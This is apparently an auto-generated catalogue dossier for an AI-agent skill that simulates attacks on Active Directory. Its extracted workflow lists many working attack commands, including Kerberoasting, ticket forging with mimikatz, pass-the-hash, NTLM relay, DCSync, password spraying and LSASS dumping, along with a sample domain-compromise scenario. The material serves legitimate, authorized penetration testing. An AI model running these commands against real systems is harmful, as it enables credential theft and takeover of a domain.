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Skill dossier

executing-active-directory-attack-simulation

Source declaration

Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment.

The author's original description, preserved in English. It describes intent, not verified performance.

Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment.

developmentreferencesscripts

Research summary

Machine-generated analysis; pending human review

These observations come from deterministic source parsing, not a human security review or controlled task evaluation.

Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment. This bilingual summary is generated deterministically from collected source text and file structure; it is pending human editorial review.

Review scope

Deterministic static analysis of collected SKILL.md and supporting text/code. Machine-assisted candidates and findings await human editorial review; no dynamic behavior or effect is assessed.

Observable capabilities

  • Workflow [Source statement; provisional, not tested. Evidence: skills/executing-active-directory-attack-simulation/SKILL.md:L62]
  • Step 1: Active Directory Reconnaissance [Source statement; provisional, not tested. Evidence: skills/executing-active-directory-attack-simulation/SKILL.md:L64]
  • Step 2: BloodHound Attack Path Analysis [Source statement; provisional, not tested. Evidence: skills/executing-active-directory-attack-simulation/SKILL.md:L75]
  • Step 3: Kerberos Attacks [Source statement; provisional, not tested. Evidence: skills/executing-active-directory-attack-simulation/SKILL.md:L90]
  • Step 4: Credential Attacks and Lateral Movement [Source statement; provisional, not tested. Evidence: skills/executing-active-directory-attack-simulation/SKILL.md:L100]
  • Step 5: Privilege Escalation to Domain Admin [Source statement; provisional, not tested. Evidence: skills/executing-active-directory-attack-simulation/SKILL.md:L111]

Limitations & scope

  • Static analysis cannot assess runtime behavior, command success, network reachability, or model output quality.
  • No commands, scripts, network requests, model calls, or controlled skill executions were performed.
  • Category, tags, capabilities, workflows, and bilingual editorial summaries are deterministic candidates pending human review, not verified outcomes.
  • Exact token counts are unavailable until a later pipeline performs and records an official model-specific count.

Relevant for

  • Practitioners evaluating whether to inspect and install the source skill; this audience is inferred from the product context, not measured usage. [Evidence: skills/executing-active-directory-attack-simulation/SKILL.md:L1-L40]

What ships with the skill

The file inventory comes from the collected source at the recorded commit. Paths and sizes are structural observations, not a measure of quality.

files
4
Markdown files
2
scripts
1
references
1
Size
32.3 KB
Structural complexity
Low

File inventory

PathTypeBytes
skills/executing-active-directory-attack-simulation/LICENSEOther11 KB
skills/executing-active-directory-attack-simulation/references/api-reference.mdReference2 KB
skills/executing-active-directory-attack-simulation/scripts/agent.pyScript5.9 KB
skills/executing-active-directory-attack-simulation/SKILL.mdInstruction13.4 KB

SKILL.md frontmatter

{
  "name": "executing-active-directory-attack-simulation",
  "description": "Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment.\n",
  "domain": "cybersecurity",
  "subdomain": "penetration-testing",
  "tags": [
    "Active-Directory",
    "BloodHound",
    "Mimikatz",
    "Kerberoasting",
    "domain-compromise"
  ],
  "version": "1.0.0",
  "author": "mahipal",
  "license": "Apache-2.0",
  "d3fend_techniques": [
    "Application Protocol Command Analysis",
    "Network Isolation",
    "Network Traffic Analysis",
    "Client-server Payload Profiling",
    "Network Traffic Community Deviation"
  ],
  "nist_csf": [
    "ID.RA-01",
    "ID.RA-06",
    "GV.OV-02",
    "DE.AE-07"
  ],
  "mitre_attack": [
    "T1595",
    "T1190",
    "T1059",
    "T1078",
    "T1003"
  ]
}

A reading of the operating sequence

This workflow reconstructs the apparent sequence from source material. Unless controlled evaluation is explicitly recorded, it is provisional—not an observed trace.

  1. 01
    Decision

    When to Use

    Source-described decision candidate under “When to Use”; not verified execution.

  2. 02
    Action

    Workflow

    Source-described action candidate under “Workflow”; not verified execution.

  3. 03
    Action

    Step 1: Active Directory Reconnaissance

    Source-described action candidate under “Step 1: Active Directory Reconnaissance”; not verified execution.

  4. 04
    Action

    Domain enumeration: `Get-ADDomain` or `crackmapexec smb <dcip> -u <user> -p <pass> --domains` to identify domain name, functional level, domain controllers, and forest trusts

    Source-described action candidate under “Step 1: Active Directory Reconnaissance”; not verified execution.

  5. 05
    Action

    User enumeration: `Get-ADUser -Filter -Properties ServicePrincipalName,AdminCount,PasswordLastSet` to identify service accounts, privileged accounts, and stale passwords

    Source-described action candidate under “Step 1: Active Directory Reconnaissance”; not verified execution.

  6. 06
    Action

    Group enumeration: Map membership of high-value groups (Domain Admins, Enterprise Admins, Schema Admins, Account Operators, Backup Operators) using `net group "Domain Admins" /domain`

    Source-described action candidate under “Step 1: Active Directory Reconnaissance”; not verified execution.

Inspect all extracted workflow candidates (50 candidate steps)
  1. 07
    Action

    GPO enumeration: `Get-GPO -All | Get-GPOReport -ReportType XML` to identify Group Policy configurations including password policies, audit settings, and software deployment

    Source-described action candidate under “Step 1: Active Directory Reconnaissance”; not verified execution.

  2. 08
    Action

    Trust enumeration: `nltest /domaintrusts /alltrusts` to map inter-domain and inter-forest trusts, noting trust direction and transitivity

    Source-described action candidate under “Step 1: Active Directory Reconnaissance”; not verified execution.

  3. 09
    Action

    LDAP queries: Use `ldapsearch` or ADExplorer to search for accounts with `userAccountControl` flags indicating "password never expires", "password not required", or "DES-only Kerberos"

    Source-described action candidate under “Step 1: Active Directory Reconnaissance”; not verified execution.

  4. 10
    Action

    Step 2: BloodHound Attack Path Analysis

    Source-described action candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  5. 11
    Action

    Run SharpHound collector: `SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\` to collect users, groups, sessions, ACLs, trusts, and GPO data

    Source-described action candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  6. 12
    Input

    Import the JSON output into BloodHound and run built-in queries:

    Source-described input candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  7. 13
    Action

    "Shortest Paths to Domain Admins from Owned Principals"

    Source-described action candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  8. 14
    Action

    "Find Principals with DCSync Rights"

    Source-described action candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  9. 15
    Action

    "Find Computers where Domain Users are Local Admin"

    Source-described action candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  10. 16
    Action

    "Shortest Paths to Unconstrained Delegation Systems"

    Source-described action candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  11. 17
    Action

    "Find All Paths from Kerberoastable Users"

    Source-described action candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  12. 18
    Action

    Mark the compromised user as "owned" in BloodHound and analyze the resulting attack paths

    Source-described action candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  13. 19
    Action

    Identify ACL-based attack paths: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword on high-value objects

    Source-described action candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  14. 20
    Action

    Document each identified attack path with the chain of relationships and affected objects

    Source-described action candidate under “Step 2: BloodHound Attack Path Analysis”; not verified execution.

  15. 21
    Action

    Step 3: Kerberos Attacks

    Source-described action candidate under “Step 3: Kerberos Attacks”; not verified execution.

  16. 22
    Action

    Kerberoasting: Request TGS tickets for accounts with SPNs: `impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dcip> -request -outputfile kerberoast.hashes`. Crack offline with `hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt`

    Source-described action candidate under “Step 3: Kerberos Attacks”; not verified execution.

  17. 23
    Action

    AS-REP Roasting: Target accounts without Kerberos pre-authentication: `impacket-GetNPUsers <domain>/ -dc-ip <dcip> -usersfile users.txt -format hashcat -outputfile asrep.hashes`. Crack with `hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt`

    Source-described action candidate under “Step 3: Kerberos Attacks”; not verified execution.

  18. 24
    Decision

    Silver Ticket: If a service account's NTLM hash is cracked, forge a TGS ticket for that service using `impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>`

    Source-described decision candidate under “Step 3: Kerberos Attacks”; not verified execution.

  19. 25
    Decision

    Golden Ticket: If the krbtgt hash is obtained (post-domain compromise), forge a TGT: `mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"`

    Source-described decision candidate under “Step 3: Kerberos Attacks”; not verified execution.

  20. 26
    Action

    Unconstrained Delegation abuse: Identify computers with unconstrained delegation. Coerce authentication from a Domain Controller using PrinterBug or PetitPotam, then capture the DC's TGT from memory.

    Source-described action candidate under “Step 3: Kerberos Attacks”; not verified execution.

  21. 27
    Action

    Step 4: Credential Attacks and Lateral Movement

    Source-described action candidate under “Step 4: Credential Attacks and Lateral Movement”; not verified execution.

  22. 28
    Action

    Pass-the-Hash: `impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>` to execute commands on systems where the compromised account has local admin

    Source-described action candidate under “Step 4: Credential Attacks and Lateral Movement”; not verified execution.

  23. 29
    Output

    Pass-the-Ticket: `export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass` to use captured or forged Kerberos tickets

    Source-described output candidate under “Step 4: Credential Attacks and Lateral Movement”; not verified execution.

  24. 30
    Action

    NTLM Relay: Configure `impacket-ntlmrelayx -t ldap://<dcip> --escalate-user <user>` and coerce authentication to relay NTLM credentials for privilege escalation

    Source-described action candidate under “Step 4: Credential Attacks and Lateral Movement”; not verified execution.

  25. 31
    Decision

    DCSync: If DCSync rights are obtained (Replicating Directory Changes): `impacket-secretsdump <domain>/<user>:<pass>@<dcip> -just-dc-ntlm` to dump all domain password hashes

    Source-described decision candidate under “Step 4: Credential Attacks and Lateral Movement”; not verified execution.

  26. 32
    Action

    Password spraying: `crackmapexec smb <dcip> -u users.txt -p 'Winter2025!' --no-bruteforce` testing one password across all accounts to avoid lockouts

    Source-described action candidate under “Step 4: Credential Attacks and Lateral Movement”; not verified execution.

  27. 33
    Action

    LSASS dump: On compromised hosts, extract credentials from LSASS memory using `mimikatz "sekurlsa::logonpasswords"` or `procdump -ma lsass.exe lsass.dmp` followed by offline extraction

    Source-described action candidate under “Step 4: Credential Attacks and Lateral Movement”; not verified execution.

  28. 34
    Action

    Step 5: Privilege Escalation to Domain Admin

    Source-described action candidate under “Step 5: Privilege Escalation to Domain Admin”; not verified execution.

  29. 35
    Action

    Follow the shortest path identified in BloodHound by executing each relationship (e.g., GenericWrite on a user -> set SPN -> Kerberoast -> crack password -> user is member of a group with WriteDACL on Domain Admins -> grant self membership)

    Source-described action candidate under “Step 5: Privilege Escalation to Domain Admin”; not verified execution.

  30. 36
    Decision

    Exploit Group Policy Preferences (GPP) passwords if found: `crackmapexec smb <dcip> -u <user> -p <pass> -M gppautologon`

    Source-described decision candidate under “Step 5: Privilege Escalation to Domain Admin”; not verified execution.

  31. 37
    Decision

    Target LAPS (Local Administrator Password Solution) if deployed: query LAPS passwords with `Get-ADComputer -Filter -Properties ms-Mcs-AdmPwd`

    Source-described decision candidate under “Step 5: Privilege Escalation to Domain Admin”; not verified execution.

  32. 38
    Action

    Abuse certificate services (AD CS) with Certipy: `certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dcip>` to find exploitable certificate templates (ESC1-ESC8)

    Source-described action candidate under “Step 5: Privilege Escalation to Domain Admin”; not verified execution.

  33. 39
    Action

    Document the complete attack chain from initial user to Domain Admin with every credential, tool, and technique used

    Source-described action candidate under “Step 5: Privilege Escalation to Domain Admin”; not verified execution.

  34. 40
    Action

    Key Concepts

    Source-described action candidate under “Key Concepts”; not verified execution.

  35. 41
    Action

    Tools & Systems

    Source-described action candidate under “Tools & Systems”; not verified execution.

  36. 42
    Action

    Common Scenarios

    Source-described action candidate under “Common Scenarios”; not verified execution.

  37. 43
    Input

    Run SharpHound to collect AD relationship data and import into BloodHound

    Source-described input candidate under “Scenario: Domain Compromise Assessment for a Healthcare Organization”; not verified execution.

  38. 44
    Action

    BloodHound reveals a path: owned user -> member of IT-Support group -> GenericAll on SVC-SQL account -> SVC-SQL has SPN -> Kerberoast -> SVC-SQL is local admin on DB-SERVER-01 -> DB-SERVER-01 has a Domain Admin session

    Source-described action candidate under “Scenario: Domain Compromise Assessment for a Healthcare Organization”; not verified execution.

  39. 45
    Action

    Kerberoast SVC-SQL, crack the weak password (Summer2023!) in 12 minutes using hashcat

    Source-described action candidate under “Scenario: Domain Compromise Assessment for a Healthcare Organization”; not verified execution.

  40. 46
    Action

    Use SVC-SQL credentials to access DB-SERVER-01 via psexec

    Source-described action candidate under “Scenario: Domain Compromise Assessment for a Healthcare Organization”; not verified execution.

  41. 47
    Action

    Extract Domain Admin credentials from LSASS memory on DB-SERVER-01

    Source-described action candidate under “Scenario: Domain Compromise Assessment for a Healthcare Organization”; not verified execution.

  42. 48
    Action

    Validate domain compromise by performing DCSync to dump all domain hashes

    Source-described action candidate under “Scenario: Domain Compromise Assessment for a Healthcare Organization”; not verified execution.

  43. 49
    Output

    Report the complete attack chain with remediation: set 25+ character passwords on service accounts, enable AES-only Kerberos encryption, remove unnecessary local admin rights, implement tiered administration

    Source-described output candidate under “Scenario: Domain Compromise Assessment for a Healthcare Organization”; not verified execution.

  44. 50
    Output

    Output Format

    Source-described output candidate under “Output Format”; not verified execution.

Potential risk surfaces

Static findings identify points to inspect before installation. They do not establish that a skill is safe, malicious, or effective.

Attention recommended

37 deterministic lexical finding(s) require review across the collected text. Findings can occur in documentation and do not prove execution or exploitability; binary-only files were not scanned.

Network accessObserved
File writesObserved
Credential useObserved
Medium

Network access is mentioned

2 occurrences

A URL or network client appears in this source line. Review destinations, data sent, and trust boundaries; static text cannot establish actual network activity. This rule matched 2 location(s) in the collected text; 2 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Note

File modification is described or implemented

30 occurrences

This line contains a possible file-write or redirection operation. Check destination paths and overwrite behavior; the static review did not write any file. This rule matched 30 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

High

Credential or secret material is referenced

4 occurrences

This line resembles a credential literal or reads a sensitive environment value. Do not expose its contents; verify whether it is a placeholder, required secret, or accidentally committed material. This rule matched 4 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

High

File deletion is described or implemented

Deletion syntax occurs in this line, including possible documentation. Review its exact target, recursive scope, and safeguards. The analyzer did not execute it. This rule matched 1 location(s) in the collected text; 1 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Where context can be spent

Discovery, activation, and resource layers have different meanings. Exact values appear only when the official token-counting method was run with a named model.

Exact token counts unavailable

All token values, including per-file inventory, are null until the pipeline performs an official exact count with an explicit model.

No token measurement was recorded with the required official method. This dossier does not substitute character counts, file sizes, or estimates.

Controlled evaluation

No controlled evaluation

This skill has only the evidence identified above. No task success, token efficiency, latency, or quality advantage is claimed.

Not tested

Use with the source in view

Install command
Inspect the pinned source at https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/54a798831d2266a3ca61ce68a7acb80b81160d57/skills/executing-active-directory-attack-simulation/SKILL.md and follow the source repository's installation instructions. No installation was performed or verified by this static analyzer. Source license: Apache-2.0.

Prerequisites

  • Static analysis cannot assess runtime behavior, command success, network reachability, or model output quality.
  • No commands, scripts, network requests, model calls, or controlled skill executions were performed.
  • Category, tags, capabilities, workflows, and bilingual editorial summaries are deterministic candidates pending human review, not verified outcomes.
  • Exact token counts are unavailable until a later pipeline performs and records an official model-specific count.

Example prompts

Not provided

A decision, with its limits attached

Strengths

  • The snapshot contains 4 collected file(s), 2 Markdown file(s), and 1 script file(s), enabling source-level inspection. [Evidence: skills/executing-active-directory-attack-simulation/SKILL.md:L1]

Considerations

  • No functional, security, or model-quality result has been established. Human review must inspect source context and all cited findings before installation or publication.
Research conclusion

Provisional deterministic static inventory only; pending human editorial review and, separately, controlled evaluation. No install recommendation, security assurance, or effectiveness claim is made.

Traceable by construction

The dossier is a time-bound reading of a public artifact, not an endorsement. Use the source link to inspect the exact upstream material.

mukul975Anthropic-Cybersecurity-Skillsskills/executing-active-directory-attack-simulation
Source type
Community
Commit
54a798831d2266a3ca61ce68a7acb80b81160d57
Collected
20 Nov 2026
Last checked
20 Nov 2026
Upstream license
Apache-2.0
Repository stars
36,446
Content basis

Deterministic lexical parsing, YAML frontmatter validation, file inventory, source-described workflow extraction, and heuristic provisional classification of the supplied files only. Generated by machine; no LLM, execution, dynamic testing, or human editorial approval.